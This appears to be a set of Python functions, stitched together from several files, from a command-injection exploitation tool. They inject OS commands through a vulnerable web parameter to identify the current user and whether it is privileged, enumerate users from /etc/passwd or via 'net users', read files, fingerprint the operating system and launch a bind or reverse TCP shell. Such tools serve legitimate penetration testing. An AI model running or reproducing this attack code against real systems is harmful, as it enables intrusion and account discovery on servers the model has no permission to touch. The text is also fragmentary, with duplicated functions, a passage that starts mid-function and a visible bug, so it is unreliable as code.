def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" cu_account = output if cu_account: if new_line == "\n": print "" cu_account = "".join(str(p) for p in cu_account) # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) new_line = "" shell = output if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + cu_account sys.stdout.write(new_line + settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print settings.print_warning_msg(warn_msg)
def check_http_traffic(request): # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) if settings.PROXY_PROTOCOL == 'https': handle = httplib.HTTPSConnection else: handle = httplib.HTTPConnection class do_connection(handle): def request(self, method, url, body, headers): info_msg = "The provided HTTP request headers: " if settings.VERBOSITY_LEVEL >= 2: print settings.print_info_msg(info_msg) if menu.options.traffic_file: logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37) header = method + " " + url if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) for item in headers.items(): header = item[0] + ": " + item[1] if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if body: header = body if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: logs.log_traffic("\n\n") if settings.PROXY_PROTOCOL == 'https': httplib.HTTPSConnection.request(self, method, url, body, headers) else: httplib.HTTPConnection.request(self, method, url, body, headers) class connection_handler(urllib2.HTTPHandler, urllib2.HTTPSHandler): if settings.PROXY_PROTOCOL == 'https': def https_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" print settings.print_critical_msg(error_msg) raise SystemExit() else: def http_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" print settings.print_critical_msg(error_msg) raise SystemExit() if settings.REVERSE_TCP == False and settings.BIND_TCP == False: opener = urllib2.OpenerDirector() opener.add_handler(connection_handler()) response = False current_attempt = 0 while not response and current_attempt <= settings.MAX_RETRIES: try: opener.open(request) response = True if settings.VERBOSITY_LEVEL < 2: if current_attempt != 0: info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.INIT_TEST == True: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if not settings.CHECK_INTERNET: settings.INIT_TEST = False except urllib2.URLError, err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" try: error_msg = str(err_msg.args[0]).split("] ")[1] + ". " except IndexError: error_msg = "" error_msg += "Please wait while retring the request(s)." print settings.print_critical_msg(error_msg) warn_msg = "In case the provided target URL is valid, try to rerun with" warn_msg += " the switch '--random-agent' and/or proxy switch." print settings.print_warning_msg(warn_msg) if settings.VERBOSITY_LEVEL >= 2 or current_attempt == 1: info_msg = "Please wait while retring the request(s)." print settings.print_info_msg(info_msg) current_attempt = current_attempt + 1 time.sleep(3) except httplib.BadStatusLine, err_msg: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" if len(err_msg.line) > 2: print err_msg.line, err_msg.message raise SystemExit() except AttributeError: raise SystemExit()
def crawler(url): if not menu.options.sitemap_url: info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str(menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "." print settings.print_info_msg(info_msg) while True: if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " question_msg += "the existence of 'sitemap.xml'? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) sitemap_check = sys.stdin.readline().replace("\n","").lower() else: sitemap_check = "" if len(sitemap_check) == 0: sitemap_check = "y" if sitemap_check in settings.CHOICE_YES: sitemap_check = True break elif sitemap_check in settings.CHOICE_NO: sitemap_check = False break elif sitemap_check in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + sitemap_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: sitemap_check = True break if sitemap_check: output_href = sitemap(url) sitemap_check = output_href for recursion in output_href: if recursion.endswith(".xml") and "sitemap" in recursion.lower(): while True: warn_msg = "A sitemap recursion was detected " + "'" + recursion + "'." print settings.print_warning_msg(warn_msg) if not menu.options.batch: question_msg = "Do you want to follow the detected recursion? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) sitemap_check = sys.stdin.readline().replace("\n","").lower() else: sitemap_check = "" if len(sitemap_check) == 0: sitemap_check = "y" if sitemap_check in settings.CHOICE_YES: output_href = sitemap(recursion) sitemap_check = output_href break elif sitemap_check in settings.CHOICE_NO: break elif sitemap_check in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + sitemap_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if not sitemap_check: output_href = do_process(url) info_msg = "Checking " if sitemap_check: info_msg += "targets's sitemap.xml " info_msg += "for usable links with GET parameters... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() succeed_banner = True valid_url_found = False for check_url in output_href: # Check for usable URL with GET parameters if re.search(settings.GET_PARAMETERS_REGEX, check_url): valid_url_found = True if succeed_banner: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" print settings.print_success_msg(check_url) if not menu.options.batch: question_msg = "Do you want to use this URL to perform tests? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) use_url = sys.stdin.readline().replace("\n","").lower() else: use_url = "" if len(use_url) == 0: use_url = "y" if use_url in settings.CHOICE_YES: return check_url elif use_url in settings.CHOICE_NO: succeed_banner = False pass elif gotshell in settings.CHOICE_QUIT: sys.exit(0) if not valid_url_found: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" return url # eof
def ps_incompatible_os(): if not settings.TARGET_OS == "win": warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch." print settings.print_warning_msg(warn_msg) return True
raise SystemExit() if menu.options.encoding: if menu.options.encoding.lower() not in settings.ENCODING_LIST: err_msg = "The provided charset '" + menu.options.encoding + "' is unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: settings.DEFAULT_PAGE_ENCODING = menu.options.encoding.lower() if menu.options.header and len(menu.options.header.split("\\n")) > 1: warn_msg = "Swithing '--header' to '--headers' " warn_msg += "due to multiple extra HTTP headers." print(settings.print_warning_msg(warn_msg)) if menu.options.method: settings.HTTP_METHOD = menu.options.method # Check if defined "--proxy" option. if menu.options.proxy: for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): _, proxy_scheme, proxy_address, proxy_port = match.groups() if proxy_scheme: settings.PROXY_SCHEME = proxy_scheme menu.options.proxy = proxy_address + ":" + proxy_port break else: err_msg = "Proxy value must be in format '(http|https)://address:port'." print(settings.print_critical_msg(err_msg))
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" # URL encode "+ " if POST request and python alternative shell. if alter_shell and http_request_method == "POST": settings.SYS_USERS = settings.SYS_USERS.replace("+ ", "%2B") cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: try: # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) except TypeError: output = "" new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" sys_users = output # Windows users enumeration. if settings.TARGET_OS == "win": if settings.VERBOSITY_LEVEL >= 1: print "" info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries... " sys.stdout.write(new_line + settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: info_msg = "Confirming privileges of user '" info_msg += sys_users_list[user] + "'... " print settings.print_info_msg(info_msg) cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[ user] + ")[22..($(net user " + sys_users_list[ user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) check_privs = output check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" if settings.VERBOSITY_LEVEL >= 1: print "" print "\n (" + str( count ) + ") '" + Style.BRIGHT + sys_users_list[ user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + sys_users_list[user] + is_privileged + ".\n") output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass # Unix-like users enumeration. else: info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(new_line + settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1: sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." print "\n" + settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users).strip() print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user:user + 3]) if len(sys_users_list) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ( 'ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'." sys.stdout.write( "\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL) ).sub("", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) if settings.VERBOSITY_LEVEL >= 1: print "" count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int( fields[1]) < 99: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int( fields[1]) < 65534: if int(fields[1]) == 99 or int( fields[1]) == 60001 or int( fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" else: is_privileged = "" is_privileged_nh = "" sys.stdout.write("\n (" + str(count) + ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2] + Style.RESET_ALL + "'.") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n") output_file.close() except ValueError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." print settings.print_warning_msg(warn_msg) sys_users = " ".join( str(p) for p in sys_users.split(":")) print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' o enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass
def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'") else: settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" cmd = settings.SYS_USERS if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) sys_users = "".join(str(p) for p in sys_users) session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Windows users enumeration. if settings.TARGET_OS == "win": # if settings.VERBOSITY_LEVEL >= 1: # print("") info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[ user] + ")[22..($(net user " + sys_users_list[ user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'", "\\'") else: cmd = "\"" + cmd + "\"" response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) check_privs = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" # if settings.VERBOSITY_LEVEL >= 1: # print("") print(" (" + str(count) + ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + sys_users_list[user] + is_privileged + ".\n") output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print("\n" + settings.print_warning_msg(warn_msg) ) # Unix-like users enumeration. except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass else: # if settings.VERBOSITY_LEVEL >= 1: # print("") info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1: sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." print("\n" + settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user:user + 3]) if len(sys_users_list) != 0: sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ( 'ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write( "\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL) ).sub("", settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int( fields[1]) < 99: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int( fields[1]) < 65534: if int(fields[1]) == 99 or int( fields[1]) == 60001 or int( fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" else: is_privileged = "" is_privileged_nh = "" print(" (" + str(count) + ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2] + Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n") output_file.close() except ValueError: if count == 1: warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join( str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass
if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The contents of file '" success_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True if settings.FILE_ACCESS_DONE == True: print "" """ Execute the bind / reverse TCP shell """ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if settings.VERBOSITY_LEVEL >= 1: print ""
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_arch = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if target_arch: # if settings.VERBOSITY_LEVEL >= 1: # print("") success_msg = "The target operating system is " + str( target_os) + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + str( target_arch) sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + str(target_os) success_msg += " and the hardware platform is " + str( target_arch) + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print(settings.print_warning_msg(warn_msg))
